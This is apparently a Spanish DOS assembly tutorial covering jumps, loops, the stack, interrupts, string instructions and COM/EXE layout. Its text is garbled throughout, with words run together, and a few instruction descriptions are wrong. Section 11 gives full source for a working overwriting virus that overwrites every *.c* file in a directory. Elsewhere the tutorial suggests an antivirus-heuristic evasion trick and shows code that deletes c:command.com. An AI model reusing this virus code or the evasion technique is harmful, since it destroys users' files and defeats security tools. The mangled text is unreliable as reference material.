JO: Jumpif overflow.Saltasi el flagde desbordamientoestá auno
JNO:Jumpif not overflow. Saltasi el flagde desbordamientoestáa
cero.
JC,JNAE,JB: Los tres sirvenparalomismo. Significan:Jumpif Carry,
Jumpif Not Above orEqual y Jumpif Below. Saltanporlotanto si al
haberuna comparaciónel flagde acarreo se pone a 1; es entonces
equivalente a< enuna operaciónsinsigno.Vamos,que se comparaasí:
CMP 13h,18h, saltará,ya que 13h es menorque 18h. Tambiénse suelenusar
para detectarsi hubo falloenlaoperación,yaque muchasinterrupciones
al acabar enfalloenciendenel carryflag.
JNC,JAE,JNB: Otrostres que valenexactamente paralomismo. Jumpif
not Carry,Jump if Above orEqual y Jumpif NotBelow. Saltanportanto si
al haberuna comparaciónel flagde acarreo vale 0, o sea,esequivalente
al operador>=. En la comparaciónCMP 0,0 o CMP 13h,12h saltará,ya que el
segundooperandoesMAYORO IGUAL que el primero.
JZ o JE: Jumpif Zero o Jumpif Equal. Saltasi el flagde cero estáa
1, o sea, si lasdos instruccionescomparadassoniguales.Saltaríaenel
caso CMP 0,0
JNZo JNE: Jumpif Not Zeroo Jumpif Not Equal. Saltasi el flagde cero
est a 0, o sea,si lasdos instruccionescomparadasnosoniguales.
JBE o JNA:Jumpif Belowor Equal o Jumpif Not Above. Saltaríasi en
resultadode lacomparaciónel primermiembroesmenoroigual que el
segundo( <= )
JA o JNBE:Jumpif Above o Jumpif NotBelowof Equal. Justolo contrario
que la anterior,saltasi enel resultadode lacomparaciónel primer
miembroesmayoral segundo.
JS: Jumpif Sign.Saltasi el flagde signoestáa uno.
JNS:Jumpif Not Sign. Saltasi el flag de signoestáa cero.
JP,JPE: Jumpif Parityo Jumpif ParityEven. Saltasi el flagde
paridadestáa uno.
JNP,JPO:Jumpif Not Parity,Jumpif ParityOdd. Saltasi el flagde
paridadestáa cero.
JL, JNGE: Jumpif Less,Jumpif Not Greaterof Equal. Saltasi en el
resultadode lacomparación,el primernúmeroesinferioral segundo,pero
con númerosconsigno.
JGE, JNL: Jumpif Greateror Equal,Jump if NotLess. Salta si enel
resultadode lacomparación,el primernúmeroesmayoro igual que el
segundo,peroconnúmerosconsigno.
JLE, JNG: Jumpif Loweror Equal,Jumpif NotGreater. Saltasi enel
resultado de lacomparación,el primernúmeroesmenoroigual que el
segundo,peroconnúmerosconsigno.
JG, JNLE: Jumpif Greater,Jumpif Not Loweror Equal. Saltasi enel
resultadode lacomparación,el primernúmeroesmayorque el segundo,para
números consigno.
Veamosalgunosejemplosde losmásutilizados:
MOV AX,1111h
MOV BX,1112h
CMP AX,BX; AX esmenorque BX
JB tirapalante ;Saltar a tirapalante
HLT ; Esta ordenbloqueael ordenador,halt
tirapalante:DECBX ; Ahora BX valdr 1111h
CMP AX,BX; Ahora valenigual
JNE Acaba; Nosaltará,ya que son iguales
JE Continua; Esta vezsi
Continua:DEC BX; AhoraBX vale 1110h
CMP AX,BX
JE Acaba ; No soniguales,portantono saltará
JB Acaba ; No esmenor,tampocosalta
JG Acaba ; Es mayor, ahora SIsaltará
Acaba: XORAX,AX
XOR BX,BX; AXy BX valenahora cero.
Esperoque con estohaya aclaradoun poco la utilidadde lossaltos.
Evidentemente,ahoraal escribirsabemoscuandounoesmenoromayor, pero
a vecesmediante interrupcionessacaremosvaloresque noconoceremosal ir
a programar, o quizálohagamosde lamemoria,yquerremoscomprobarsi
son iguales,etcétera.
Por cierto,que enlossaltoscondicionalesse puede hacercomoenlos
incondicionales,osea,formatoscomo:
JE 0022h
JNE 0030h
JNOAL
Sinembargo,estamoslimitadosasaltoscortos,o sea,de rango a 127
byteshaciadelante o128 haciaatrás, no pudiendosuperarestadistancia.
7.-3.- BUCLES
He aquí el equivalente al FOR-TO-NEXTenEnsamblador,se tratade la
ordenLOOP.Lo que hace estaordenescomparar CX con cero; si es igual,
sigue adelante,si noloes,vuelve al lugarque se indicaensuoperando
decrementandoCXenuno.Porlotanto, CXserá un contadorde las veces
que ha de repetirse el bucle. Veamosunejemplo:
MOV CX,0005h
bucle:INCDX
CMP DX,0000h
JE Acaba
LOOPbucle
Acaba: ...
Veamoscomofuncionaeste programa.Se mueve aCX el valor5h, que van
a ser lasvecesque se repitael bucle.Ahora,llegamosal cuerpodel bucle.
Se incrementaDXy se compara con 0, cuandoesigual saltaa "Acaba".Si
llegaa laordenLOOP,CX se decrementará ysaltaráa bucle.Esto se
repetirácincoveces.Enfin,que el programaacabará enel grupo de
instruccionesde "Acaba"cuandolacomparacióndé un resultadopositivoo
cuandoel bucle se haya repetidocincoveces.
Tambiéntiene lalimitaciónde que sólorealizasaltoscortos,asícomo
puede usarse comoel JMP,de la forma:
LOOP0003h
LOOP[AL]
En resumen,laordenLOOPesla equivalente aCMPCX,0/JNZpar metro,
donde par metroesel operandode LOOP.
...............................................................................................................................
8.- LA PILA
La pilaesunaespecie de "almacén de variables"que se encuentraenuna
direccióndeterminadade memoria.
Nosencontramoscondos órdenesbásicasrespectoalapila,que
son PUSH y POP.La ordenPUSH empujaunavariable ala pila,y laordenPOP
la saca. Sinembargo,nopodemossacar el que queramos,nopodemosdecir
"quierosacar el valorde DX que he metidoantesyque fue el cuarto que
metí",por ejemplo.
La estructurade la pilase denominaLIFO,siglasinglesasque indican
'Last In FirstOut'. Esto significaque al hacerunPOP,se sacará el
últimovalorintroducidoenlapila.Veamosestoconunosejemplos:
PUSH DX ; Mete enla pilael contenidode DX
PUSH CX ; Y ahora el contenidode CX
POPAX ; Ahorasaca el últimovalorintroducido( CX)
;y locoloca enAX.
POPBP ; Y ahora saca envalor anteriorintroducido,que
;esel contenidode DXcuando hicimosel PUSHDX
;y se lo asignaa BP.
Ahora,una rutinaalgomás detallada:
MOV DX,0301h ; DX vale ahora 0301 hexadecimal.
PUSH DX ; Empuja DX a la pila.SPse decrementa endos.
MOV DX,044C4h ; AhoraDX vale 044C4h
POPCX ; Y con esto,CXvale 0301 hexadecimal,el valor
que habíamosintroducidoconanterioridad.
Dijimosenlasegundalínea:SPse decrementaendos.Cuandoporejemplo
ejecutamos un.COM,SS esel segmentodel programa(osea,igual que CS,
y si no han sidomodificados,DSyES),y SP apuntaal final,a0FFFFh.
Cuandoempujamosunvalora la pila,SPse decrementaendosapuntandoa
0FFFDh,y en estadirecciónquedael valorintroducido.Cuandolosaquemos,
se incrementará de nuevoendosel valorde SP,y el valorse sacará de
la pila.
Se puede operarcon estainstrucciónconlosregistrosAX,BX,CX, DX,
SI,DI, BP, SP,CS, DS y ES; sinembargonose puede hacerunPOPCS,
sóloempujarloalapila.
He aquí un ejemplode loque hace enrealidadunPOPentérminosde MOVs;
aunque seaun gastoinútil de código,tiene suaplicación,porejemplo,para
saltarse laheurísticaenun antivirus,que buscaunPOPBP y SUB posterior.
Partamosde que hayciertovaloren lapilaque queremossacar.
MOV BP,SP; AhoraBP es igual al offsetal que apuntaSP
MOV BP,Wordptr [BP] ; Y ahora BP vale el contenidodel offsetal
;que apunta,que al serel offsetal que apunta
;el de pila, seráel valorque sacaríamos
;haciendounPOPBP.
ADD SP,2 ; Para acabarlo,sumamosdosal valorde offset
;de la pila.
Y estoes loque hace un POPBP,simplemente.Paraverloque hace un PUSH
no habría más que invertirel proceso. Veámoslo.
SUB SP,2
MOV BP,SP
MOV Word ptr[BP],DX
Comoúltimarecomendación,hayque tenerbastante cuidadoconlosPUSH
y POP,sacar tantos valoresde lapilacomose metan,yestar pendientede
que loque se saca es loque se tiene que sacar.La pilabienaprovechada
esfundamental parahacerprogramas bienoptimizados,yaque entre otras
cosas lasinstruccionesPUSHy POPsoloocupanun byte.
Es por ejemplomuchomejorusarunPUSH al principioyunPOPal final
envezde dejarpartesde códigopara almacenarvariables,másvelocidad
y menostamaño.
Y finalmente,hayotrasdosórdenesinteresantesrespectoalapila,
PUSHF y POPF,que empujanel registro(16bits) de flagsylo sacan,
respectivamente.
8.-1.- LA ORDEN CALL
Se trata de una ordenque se utilizaparallamara subrutinas,yestá
relacionadaconla pila.
La sintaxisdel Call escasi lade unJmp, pudiéndose tambiénutilizar
etiquetas,direccionesinmediatasoregistros.Si comparásemosunJmpcon
un 'GOTO', el Call sería el 'GOSUB'. Es unainstrucciónque nosva a servir
para llamara subrutinas.
Su formade actuación essencilla.Empujaalapilalosvaloresde CS e
IP (osea,losdel puntoenel que está enese momentoel programa),
aunque IPaumentadoenel tamañodel call para apuntar a la siguiente
instrucción,yhace un saltoa la direcciónindicada.Cuandoencuentre una
instrucciónRET,sacará CS e IPde lapila,y así retornará al lugar de
origen.Veamosunejemplo:
xor ax,ax ; Ax vale ahora0
Call quebién;Mete CS e IP a la pilay saltaa quebién
Int 20h ; estaordensale al dos, ; movax,30h
Ret ; Vuelve alainstrucciónsiguienteal punto
;de llamada,o sea,a la de "INT20h"
La ordenRET puede tenertambiénvariosformatos:RETN o RETF, segúnse
retorne desde unsitiocercano(RETN,near) o lejano(RETF,far).No
obstante,prácticamente nolousaremos:lamayoríade las vecesse quedará
enRET.
Existe entonceslallamadadirectacercana,enlaque sólose introduce
IP (lógicamente,apuntandoalaordensiguiente al Call),yal retornar,
lohace enel mismosegmento,ylallamadadirectalejana,enlaque se
introducenCSe IP (yluegose sacan, naturalmente).A vecesse podrían
producirconfusiones,conloque quizápuedaserconvenienteusarRETN y RETF
respectivamente.
..............................................................................................................................
9.- INTERRUPCIONES
Lo primeroque tenemosque haceressabercómofuncionanlas
interrupciones.Sonprincipalmentesubrutinasde laBIOSo el DOS que
puedenserllamadasporunprograma, porejemplo,lafunción21hestá
dedicadaespecialmente atratamientode archivos.
Para utilizarlas,tendremosque ponerlosregistrosconundeterminado
valorpara que se realice el propósitoque buscamos.Cadainterrupción
tiene variasfunciones,ypodremoselegircuál ejecutamossegúnel valor
de AH.
El formatode la ordenesINT X,donde X puede irdesde 1 a 255 (aunque
normalmente se escribeenformatohexadecimal).
Cuandose ejecutaunainterrupción,el ordenadorempujatodoslosflags
a la pila,un'PUSHF', y despuésmiraenlatabla de vectoresde
interrupción,de laque hablaré másadelante,paratransferirel control
del programaal puntoque indicaesatabla respectoala interrupción
pedidamediante un'CALL'.Cuandolainterrupciónhaterminado,acabarácon
un IRET, que esuna combinaciónentre 'POPF'y'RET'.
La tablade Vectoresde Interrupciónesunatablade direccionespara
la direcciónala que debe saltarcada interrupción.Comienzaenla
direcciónde memoria0000:0000 y acaba enla 0000:0400, siendocada
direcciónde 4 bytesde longitud.Paraaveriguarcuál corresponde acada
interrupción,nohaymásque multiplicarel númerode interrupciónpor
cuatro. Porejemplo,ladirecciónde memoriadonde estáel puntoal que
saltauna INT 21h, es 0000:21h*4. Ahí se contienenel CSe IPa losque
saltará el programacuando se ejecute lainterrupción.Estosvalores,son
modificables,perohayque tenermuchocuidadoconello.
Vamoscon un ejemploel usode unainterrupción:
jmpmesaltomsg;Esto lohago porque ejecutaráel texto
;puede traerconsecuenciasimprevisibles
archivo:db 'c:command.com',0; el 0 que va despuésesnecesario
; en operacionesconarchivos,ono
; funcionará.
mesaltomsg:movax,4100h ; Al ir a llamara lainterrupción,AH
;( que aquí¡ es41h ),indicala función
;de dicha interrupciónque se quiere
;ejecutar.Eneste caso esla 41h, que
;significaborrarunfichero
movdx,OFFSETarchivo; En dx cargamosla direccióndel
;offsetconla etiquetaarchivo,
;o sea,si la etiquetaarchivoestá
;en:0014h, ese seráahora el valor
;de DX. Comovemos,nosólobasta
;con tenerAXactualizadoparapoder
;usar la interrupción.
Int 21h ; Ejecutamoslainterrupción21hen
;su función41h,borrar unfichero.
Voya detallarunpoco más: ¿porqué en dx pongola direccióndel offset
de archivo?.Porque lafunciónde laInt21h que busconecesitapar metros.
CuandoAH vale 41h, funciónde borrar fichero,necesitaciertospar metros,
y estoesque en DS:DXse encuentre lacadenade caracteresque indicael
ficheroa buscar.
ComoDS vale lomismoque CS, si no lohemoscambiado,tansólohace
faltahacer que DX apunte al lugar donde estálacadenade caracterescon
el nombre del archivo.
Veamosotroejemplo.Ahoraqueremoscambiarel nombre de unfichero.
La interrupciónparaelloesla21h, y lafunciónque queremosesla56h,
con loque en AH tendremosque ponerese valor.
El par DS:DX,es ladirecciónde lacadena que contiene launidad,camino
y nombre del fichero,tal ycomosucedía enel anteriorejemplo,yES:DI
la direcciónde lacadenaque contiene lanuevaunidad,caminoynombre.
Vamoscon el programa:
Mov ah,56h ; Nohace faltainicializar,como
;hicimosantes,notiene ninguna
;importanciasucontenido.
Mov dx,OFFSETanterior;Ds ya está apuntandoa este segmento,
;sólotendremosque asignarDx
Mov di,OFFSETposterior;Di apuntaal nuevonombre,Esnoha
;sidovariadode ningunamanera.
Int 21h ; Si en este directoriose hallael
;archivode DS:DX, cambiasu nombre al
;de ES:DI
Int 20h ; Devuelveel control al Ms-dos.
anterior:db'berilio.com',0
posterior:db'magnesio.com',0
En resumen,cambiaráel nombre del archivoberilio.comamagnesio.com
si éste se encuentraenel directorio.
Hay innumerablescosasque se puedenhacerconlasinterrupciones:
escribirtextos,leerdel teclado,cambiarmodosde pantalla,escribir
enarchivos,leerlos,ejecutarlos,...demasiadoparaponerloaquí.
Recomiendoteneramano lalistade interrupcionesde Ralf Brown,que
esuna auténticaBibliade lasinterrupciones,olasguíasNorton.El caso
esque es imposible sabérselasde memoria,yesmejortenerunabuena
obra de consultaal lado.La listade interrupcionesde Ralf Brownes
fácil de encontrar,y ocupa cerca de un discocompleto,conlargosarchivos
de texto,yse actualizaperiódicamente.
Para dar una ideaengeneral,aquíestánlasinterrupcionesque másse usanysus funcionesengeneral.
Interrupción21h:Es laque más se utiliza;conellase
consigue el accesoa la fechay horadel sistema,gestiónde ficheros,
funcionesde DOSreferidasal disco,paralagestiónde directorios,y
algunasde lectura/escrituraenel tecladoypantalla,ademásde lagestión
de la memoria.
Interrupción13h:Funcionesde BIOSque se refierenal disco.
Interrupción10h:Gestiónde la pantallaenmodoalfanumérico,gestión
de la pantallaenmodográfico.
Interrupciones25hy 26h: Funcionesde DOSde acceso directoal disco,
escribiryleersectores...
Interrupción17h:Impresora.
.............................................................................................................................
10.- RESTO DE ORDENES
Veamosconalgo de detalle el restode lasórdenesenlenguajeEnsamblador,
lasmás importantesque merecenconocerse:
10.-1.- XCHG
La funciónde xchgesla de intercambiarvaloresentre registrosy
memoria,de tal maneraque puede funcionarasí:
XCHG reg,reg( XCHG AX,BX)
XCHG mem,regoreg,mem( XCHG AX,Wordptr 0000:0084h )
10.-2.- LEA
"Load Effective Adress",sirveal usarcomo punteroa DX (recordemos,
al hacerque apuntase hacia unoffsetque nosinteresaba),ycomo
sustituyenteal MOV enestoscasos especialmente.
Imaginemosque el offsetal que queremosapuntaresSunset+bp-si,osea,
el lugardonde estála etiqueta"Sunset"másel valorde bp menosel de si.
Si lo hiciésemosconmovsquedaríaasí:
MOV dx,OFFSETsunset
ADD dx,bp
SUB dx,si
La ordenLEA integraestasoperaciones:
LEA dx,[Sunset+Bp-Si]
Pudiendousarenel operandocualquierdirecciónde memoriaypudiendo
sumrsele registros.
10.-3.- LDS y LES
El punteroanteriormente utilizadonospuede servirmuchosi loque
pretendemoslocalizarse hallaenel mismosegmentoque el programa,pero
si está enotro lugar,tendremostambiénque averiguarde algunamanerasu
segmento.Paraestose usanLDS y LES.
Teniendolamismasintaxisque LEA,aunque pudiendoponerunregistro
de segmento,(porejemplo,LeaSI,CS:[DI+3]),susresultadossonligeramente diferentes.
Ademásde ponerse enel operandodestino(SIenel ejemploanterior) el
DesplazamientouOffset,el Segmentoindicadoenel operandoorigenquedará
enDS o ES segúnlaordenseaLDS o LES.
Por ejemplo,si hacemos:
LDS DX,0000:[DI-23]
En DX quedarála direcciónala que apuntaDI-23, y en DS quedará0000,
el segmentoenque se encuentra.
Igualmente sucederáenES:
LES SI,3342h:[Bp]
SI valdrá BP, y ES tomará el valorde 3342h.
10.-4.- DELAYs
A vecesnospuede interesarperderalgode tiempo,yestaordentiene
más utilidades:eslaordenREP(repeat).Se repite,y
cada vezque lo hace disminuye CXenunaunidad.Se usaespecialmentepara
órdenescomoMovsb,etc.,que vienenahora.Perosimplemente hayque entenderque si hacemos:
Mov CX,300h
Rep
La ordenrepse repite 300h veces,ycuandola superaCXvale 0.
10.-5.- INSTRUCCIONES DE CADENA
Son unsubconjuntode instruccionesmuyútilesparadiversasfunciones:
inicializarzonasde memoria,copiardatosde unazonaa otra,encontrar
valoresdeterminadosocompararcadenas,etc.,etc.
Su comportamientodepende del flagde direccióndel que hablábamosunas
leccionesmásatrás,y que se puede cambiardirectamente conestasdos
instrucciones:
STD: SeT Directionflag,lopone auno.
CLD: CLear Directionflag,lopone acero.
Las instruccionesque vamosausar como de cadenasiempre tienenunaS
de Stringal final,ycasi siempre ademásunaBo una W indicandoByte o
Word (el tamaño).
Y estas son:
LODSB/LODSW
Lee un byte/palabraenladirecciónde memoriadadaporDS:SIy la
almacenadependiendode sutamañoenAL o AX.Si el flagde direcciónestá
a cero, segúnseabyte o palabra,SIaumentaráen 1 o 2 unidades(para
podercontinuarlaoperaciónde lectura).Si estáa uno el flag,se
decrementaráen1 o 2 unidadesdependiendodel tamaño(byte/palabra)
STOSB/STOSW
Es el equivalente a"grabar"si loanteriorera"cargar". Almacenaráel
contenidode ALo AX(como siempre,dependiendodel tamaño) enES:DI,
copiandosegúnsi esB o W unoo dos bytescada vezque se ejecute.
Si el flag de direcciónestáa cero,DI aumentarácada vezque se
realice laordenenuna o dosunidades(dependiendodel tamaño,BoW ).
Si está a uno,decrecerá.
MOVSB/MOVSW
Mueve el byte o palabracontenidoenladirecciónde memoriaala que
apuntaDS:SI a la direcciónde memoriade ES:DI.
Si el flag de direcciónestáa 0, con cada MOVS que realicemosSIyDI
aumentaránenuna unidad(MOVSB) odos(MOVSW).Si estáa uno,se
decrementaránde igual manera.
REP
Acabode hablarsobre él.Puesbien,si se utilizacomooperandosuyo
una de estasórdenes,larepetiráCXveces.Porejemplo,si queremos
copiarla tabla de vectoresde interrupciónaunlugarque hemos
reservado:
cld ; A asegurarnosde que el flagde direcciónestá.
;a cero.
movcx,400h
xor dx,dx ;pone dx a 0
pushdx
popds ; No está permitidohacerxords,ds,porloque
;metemosdx,que vale 0,enla pila,ysacamos
;DS valiendo0.
xor si,si ;SI que valga0.
pushcs
popes ; Vamosa asegurarnosde que ES valga CS,o sea,
;el segmentoenel que estáel programaahora.
movdi,buffer;DI apuntaal lugardonde vamosa guardar la
;tabla.
repmovsb ; Repite ‚esto400hveces,y cada vezque lohace
;incrementaDIy SI.
int20h ; Acaba la ejecución.
buffer:db400h dup (?) ; Esto dejaunespaciode 400h bytesque nos
;va a servirpara almacenarla tablade
;vectoresde interrupción.
Podemos,paraempezar,reducirel 400h a 200h enCX,y hacer un repmovsw,
con loque trasladaremosde palabraenpalabra lasinstrucciones.
10.-6.- DATOS
Acabamosde ver algonuevo.¿Qué‚significaesode 'db'que aparece en
el anteriorproblema?
El objetivode estaorden,al igual que DWo DD, es dejarespaciopara
datosen una determinadazonadel programa,ointroducirlosahí.Voya
mostrar algunosejemplos:
db 'A saco con todos$'
DB se refiere aunbyte de longitud,yse usa,por ejemplo,paraguardar
una cadena.Veréisque pongoun$ al final de lacadena:estoha
de hacerse siempre,yaque al utilizarinterrupcionesparamostraruna
cadenade caracterespor pantalla,el ordenadorlee desde el punto
indicadohastael $, que es cuandose para.
dw 0ffffh;W de word,palabro...almacenaunnúmeroen
;esaposición
db 'A',' ','s','a','c','o' ; Variacionessobre el tema,va
;presentándolocaráctera carácter.
db dup5 (90h)
Significaque repite 5vecesel caráctero númeroque hayentre paréntesis,
o sea,que estocolocaría cinco '90h' en ese sitio.
dw dup300h (?)
Dejaun espaciode trescientaspalabras(seiscientosbytes)para
poderalmacenarcosas.Su contenidonotiene importancia,se tratade
lugarde almacenamiento(comoel lugarenel que copiábamoslatablade
vectoresenel ejercicioanterior).
Tambiénexiste DQ,Define Quadword.
10.-7.- ACCESO A PUERTOS I/O
Simplementedescribiré lasinstruccionesque permitenmandaryrecibir
datosde ellos;IN yOUT.
Los puertossontodosde ocho bits,aunque se puedenusarpalabraspara
su lectura.Existen64Kpuertos,osea,el valor máximode cualquierregistrode
Offset.
IN lee un byte ouna palabra del puertoyloalmacenaenAX/AL,de
este modo:
IN AL,DX ; Lee del puertoDX y almacenaenAL
IN AX,DX; Lee de DX y almacenaenAL el valor,leyendo
;AH desde el puertoDX+1
DX eslo únicoque puede variarsiendootroregistro,nose permite en
AX/AL
OUT mandaun byte al puerto,pudiéndosehacerasí(mediante el registro
AXo AL):
OUT DX,AL; Al puertoDX, mandael valorcontenidoenAL
OUT DX,AX; A DX manda el contenidode AL,ydespuésen
;el puertoDX+1 envía AH.Obsérvese esta
;peculiaridadtantoaquícomoen el anterior.
Comoantes, AL o AXno puedenserotra cosa,DX podría si serotro
registro(odirectamente unnúmero).
10.-8.- ANULACIONDE INTERRUPCIONES
Hay vecesque necesitamosque mientrasse estáejecutandonuestro
códigono se puedanejecutarinterrupciones,debidoaque estamoshaciendo
algodelicado,comoporejemplotocandolatablade vectoresde
interrupción,ynoqueremosque se ejecuteunainterrupciónque tenemos
a mediocambiar.
No tendremosmásque ponerlaorden
CLI
O CLear Interrupts,que loque hace esque hasta que encuentre unaorden
STI (SeTInterrupts),nose puedanejecutarinterrupciones.
Solofaltanlasestructurasde COM y EXE para que podáisempezar
a programar. Es necesariounprogramaensamblador(Tasm, A86,Masm,...recomiendo
el primero),ylasInterrupcionesde RalphBrown.
..................................................................................................................
11.- ESTRUCTURA COM
Los archivosCOMtienencomomáximo65536 bytesde extensión,que
"curiosamente"coincidencon0FFFFh,que esel máximovalorque puede tener
un registrode 16 bits.
Por lotanto,cualquierdireccióndentrodel COMtendrá encomúnel
registrode segmento,yconel de desplazamientose podráaveriguarel
lugardonde se encuentracualquiercosaenel archivo.
El .COMtiene tambiénunazonanormalmenteque vade 0 a 100h enla
que tiene el PSP,zonade datosen laque,entre otrascosas, estála Dta
(para trabajarcon ficheros,apartir del Offset80h).
Pongoun ejemploahorade cabecera,ydespuésunprogramaCOMcompleto
perosencillo.
.MODEL TINY; Indicaque espequeñito;)
.CODE ; Código
ORG 100h ; éstaesla direccióna partirde la
;cual empiezael código,normalmente es
;100h para dejarespacioal PSP
Start: jmpEntrada
[Datos]
Entrada PROC
[Codigo]
Entrada ENDP
END Start
Entrada esun procedimientoal que se puede llamarcon,porejemplo,el
saltodel principio.Nosonnecesarios.Síhay que cerrar el Start,que abre el programa.
Hay más líneasque se puedenponerenlacabecera,comoMODEL, envezde
serTINY que sea SMALL por ejemplo,o:
CODIGO SEGMENT CODE
ASSUME DS:CODIGO ES:CODIGO
Lo que abre unsegmentode código(osea,el Com),y hace que los
registrosde segmentoapuntenaél.Al final habríaque ponerun:
CODIGO ENDS
Justoantesdel "END Start" perodespuésde unposible "EntradaENDP"
Veamosunejemplode programa.COMenlenguaje Ensamblador.Se trata
de un virus,o másbien,algoque podría serun virus,ya que esde tipo
sobreescritura.El casoesque al utilizarinterrupciones,seráde pequeñotamaño,ideal paracomentar.
virussegment
org 100h
assume cs:virus; Noesmuy necesario:CSvaa serel
; virus
lenequoffsetlast-100h; Nuevaordenque nocoment‚!.Len
;esuna variable que se vaa utilizar
;enel programa, y equse encarga de
;asignarla.Hace que lenvalgala
;direccióndel offsetde "last"
;restándole 100h ( el PSP). Se trata
;del tamañodel programa
start: movah,04eh ; En dx estála com_mask,y se va a usarla
xor cx,cx ;función4ehde la interrupción21h,que
leadx,com_mask;esencontrarel primerarchivodel
int21h ;directoriode laformaque hayen la
;direcciónala que apuntadx, o sea,que
;buscar el primerarchivo.c* ( pretende
;encontrarun com )
open_file:movax,3d02h; La función3dabre el archivo,y AL puesto
movdx,9eh;a 2 indicaque se abrirá para lecturay
int21h ;escritura;a uno indicaríasólolecturapor
;ejemplo.Dx vale 9eh porque esel valor
;de la DTA, donde se contienenlosdatos
;del archivoencontrado.
Infect:movcx,len;En cx quedala longituddel virus
leadx,start; Y dx apuntaal principiodel virus
movah,40h ; La función40h de la Int21h consiste enla
int21h ;escrituraenel archivo;cx indicala
;cantidadde bytesa escribir,ydx la
;direcciónapartir de la cual se copian.Por
;lotanto, se copiará todoeste códigoal
;principiodel programaabierto,
;sobreescribiendoloque hubiese
;anteriormente
Next:movah,3eh; Cierrael archivo,función3ehde la Int21h
int21h
movah,4fh ; Busca el siguiente archivo
int21h
jnbopen_file ;Si loencuentra,saltaa open_file,para
;abrir e infectar.
com_mask:db "*.c*",0 ; El 0 del final esnecesariosiempreque se
;operacon archivos.
last:db 090h ; Se trata de unbyte para marcar el final
;del virus(parael equdel principio).
virusends
endstart
En resumen,loque hace esbuscar el primerarchivoque cumplaser
*.c* del directorio,loinfectaybusca otro.Si lo encuentra,también
loinfectará,así hasta que no quede ninguno.
Una cosa que ospuede parecercuriosaesque use jnbpara sabersi hay
algúnarchivomás enel directorio.Bien,‚estolohace porque cuandoel
resultadode lainterrupciónesunerror(comopor ejemploque nohaya
ningúnarchivo),el flagde acarreose pone a uno. Portanto, saltacon
jnbsi noha habidoningúnfallo.
......................................................................................................................
12.- ESTRUCTURA EXE
Los ficherosEXEtienenunaestructuradiferentealosCom.Aparte de
tenerunacabecera especial,puedenocuparmásde un segmento,diferencián-
dose segmentosde datos,códigoypila.
La cabeceraEXE va como sigue:
OffsetDescripción
00 Marca de EXE (MZ = 4D5A). Es obligatorioque estosdosbytessean
MZ o ZM, sinono funcionará.
02 Númerode bytesenla últimapáginadel programa.
Todas laspáginassonde 512 bytes,menosla últimaque serámenos.
04 Númerototal de páginasde 512 bytes.
06 Númerode elementosde latablade elementosreubicables.
08 Tamaño de la cabeceraenpárrafos de 16 bytes.
0A Mínimo de memoriarequeridoademásde lanecesariaparacargar
el programa.
0C Máximode memoriarequerido.Normalmente loslinkadoresponen
FFFFhaquí para que el DOS dé toda la memoriadisponibleal
programa.
0E SS inicial
10 SP inicial
12 Checksum:complementoa1 de la suma de losvaloresde 16 bitsdel
programa,excluidoeste campo.
14 IP inicial
16 CS inicial
18 Offsetde laTabla de Reubicación
1A Númerode Overlaysgenerados.S es0 esun únicoEXE.
Vistoesto,simplemente resaltarlosoffset14 y 16, que son
CS:IPdel EXE donde empiezalaejecución.Ahorapongounlistadode
típico EXE:
; LISTADO DE EJEMPLO DE EXE
PILA SEGMENT STACK'STACK'
DW 150 DUP (?) ; Ponemos150 palabras( 300 bytes) de
;pila
PILA ENDS ; Esto ha sidoel segmentodedicadoa
;la pila
DATOSSEGMENT 'DATA' ; Abre ahora el segmentode datos
Mensa DB 'Esto esun ejemploEXE$'; El $ al final.
DATOSENDS
CODIGO SEGMENT 'CODE' ; Vamoscon el de código
ASSUME CS:CODIGO,DS:DATOS,SS:PILA
Entrada PROC
movax,DATOS; Valordel segmentoDATOS
movds,ax ; Ahora quedaenDS
leadx,mensa;Desplazamientodel mensaje
movah,9 ; Servicio9de laint 21h
int21h ; Imprime el mensaje
movax,4C00h ; Servicio4Ch,retornaal DOS
int21h
Entrada ENDP ; Cierrael procedimientoEntrada
CODIGO ENDS
END Entrada ; Findel programa
.................................................................................................................
13.- APENDICE A. JUEGODE INSTRUCCIONES
Instrucciones:
MnemónicoExplicación
AdjustASCIIafterAddition,ajuste ASCIIdespuésde sumar.
Esta instrucciónse empleatrassumardos númerosBCDno
empaquetadosde dosdígitosconADD AX,reg/mem.Compruebasi
el contenidode ALsuperaa nueve,yrealizasi esciertouna
operaciónque consiste enrestar10 de AL.AH se incrementa
si AL fue superiora 9.
ADD
Suma al operandodestinoel operandoorigen,almacenando
enel operandodestinoel resultado.
AAM
AjustaASCIIdespuésde multiplicar
Convierte el númerobinariode 8bitsen AL enun número
BCD no empaquetadode dosdígitosenAX.AL debe sermenor
que 100 para que el ajuste proporcione unnúmeroválido.
AAS
AjustaASCIIdespuésde restar
Se empleadespuésde restardosnúmerosBCDnoempaquetados
con SUB AX,reg/mem.Compruebasi ALesmayora 9, y si lo
es,suma 10 a AL. Si se realizaajuste,el flagde acarreo
se activa.
ADC
AddWith Carry,suma losdosoperandosy el flagde
acarreo, almacenandoenel operandodestinoel resultado
de la suma
ADD
ADDition,‚estainstrucciónsumalosdosoperandosy
almacenael resultadoenel de destino.
AND
RealizaunANDlógicoentre losdosoperandosde la
instrucción,almacenandoel resultadoenel de destino.
CALL
EmpujaIP y CS a la pila,ysaltaa la direcciónque
indicasuoperando.
CBW
ConvertByte to Word,copia el bitde mayor pesode AH en
cada uno de losde AL
CLC
ClearCarry Flag,pone el flagde acarreo a cero.
CLD
ClearDirectionFlag,pone acero el flagde acarreo.
CLI
ClearInterrupts,pone e flagde interrupciónacero,con
loque no se podránhacer llamadasaéstashasta llegara
un STI ( Set Interrupts)
CMC
CoMplementCarryflag,invierteel contenidodel flagde
acarreo.
CMP
Restael operandoorigendel destino,no
almacenael resultado,actualizándosesinembargolos
flags.
CMPS
Comparacadenas,puede usarse sinoperandos,encuyocaso
tendráque ser CMPSB o CMPSW ( Byte o Word ),o con ellos.
Los elementosacomparar estánapuntadosporES:DI y DS:DI
CWD
ConvertWordto Double Word,lo que hará serácopiar el
signode AX,o sea,su byte más significativo,enDX.
DAA
Decimal AdjustALafterAdittion,se empleatrassumardos
númerosBCD empaquetadosde dosdígitosconADD AL,reg/mem.
Verificasi el flagde acarreoauxiliarestáa 1 o el
contenidode loscuatrobitsmenossignificativosde AL
esmayor que 9, en cuyocaso se suma6 a AL. Después
compruebasi el flagde acarreo está activadoo el contenido
de los4 bitsmás significativosesmayorque 9,en cuyo
caso se suma 60h a AL. El flagde acarreo se activa si se
ha realizadolasegundaoperación,yel de acarreoauxiliar
si se realizólaprimera.
DEC
Utilizaunoperando,al que decrementaenunaunidad.
DIV
